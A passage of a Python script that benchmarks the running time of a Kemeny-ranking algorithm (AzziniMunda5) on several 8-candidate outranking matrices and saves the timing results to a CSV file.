np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,1019,1030,1019,989,1020,994], [985,0,990,1004,970,999,983,981], [982,1011,0,990,993,1026,986,993], [971,997,1011,0,981,983,1007,957], [982,1031,1008,1020,0,997,1014,989], [1012,1002,975,1018,1004,0,1008,1012], [981,1018,1015,994,987,993,0,985], [1007,1020,1008,1044,1012,989,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 196, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1080,917,1026,939,1032,952,1167], [921,0,861,1047,863,981,866,924], [1084,1140,0,983,983,1051,1071,1171], [975,954,1018,0,939,992,927,1103], [1062,1138,1018,1062,0,1121,984,1153], [969,1020,950,1009,880,0,828,1083], [1049,1135,930,1074,1017,1173,0,992], [834,1077,830,898,848,918,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 197, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,994,1024,993,960,979,976,1006], [1007,0,1037,988,1005,1023,1009,1004], [977,964,0,955,942,947,982,997], [1008,1013,1046,0,1022,997,1027,1032], [1041,996,1059,979,0,1037,1042,1032], [1022,978,1054,1004,964,0,1004,1013], [1025,992,1019,974,959,997,0,991], [995,997,1004,969,969,988,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 198, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,917,995,1137,1043,1127,1143,1108], [1084,0,1044,1031,977,1035,1119,1057], [1006,957,0,1055,803,1038,1186,1127], [864,970,946,0,1036,1067,1131,921], [958,1024,1198,965,0,1129,1182,1127], [874,966,963,934,872,0,985,1064], [858,882,815,870,819,1016,0,945], [893,944,874,1080,874,937,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 199, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,955,948,891,955,824,966,911], [1046,0,1138,1092,891,1269,1192,1032], [1053,863,0,950,856,1216,1069,832], [1110,909,1051,0,948,1109,1141,705], [1046,1110,1145,1053,0,1288,1246,971], [1177,732,785,892,713,0,998,917], [1035,809,932,860,755,1003,0,736], [1090,969,1169,1296,1030,1084,1265,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 200, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) pd.DataFrame(results).to_csv("/Users/noeliarico/Desktop/folder-kemeny/ejor/results/meprcw/meprcw_8_2001.csv", index=False, header=False)
[ "noeliarico@uniovi.es" ]
noeliarico@uniovi.es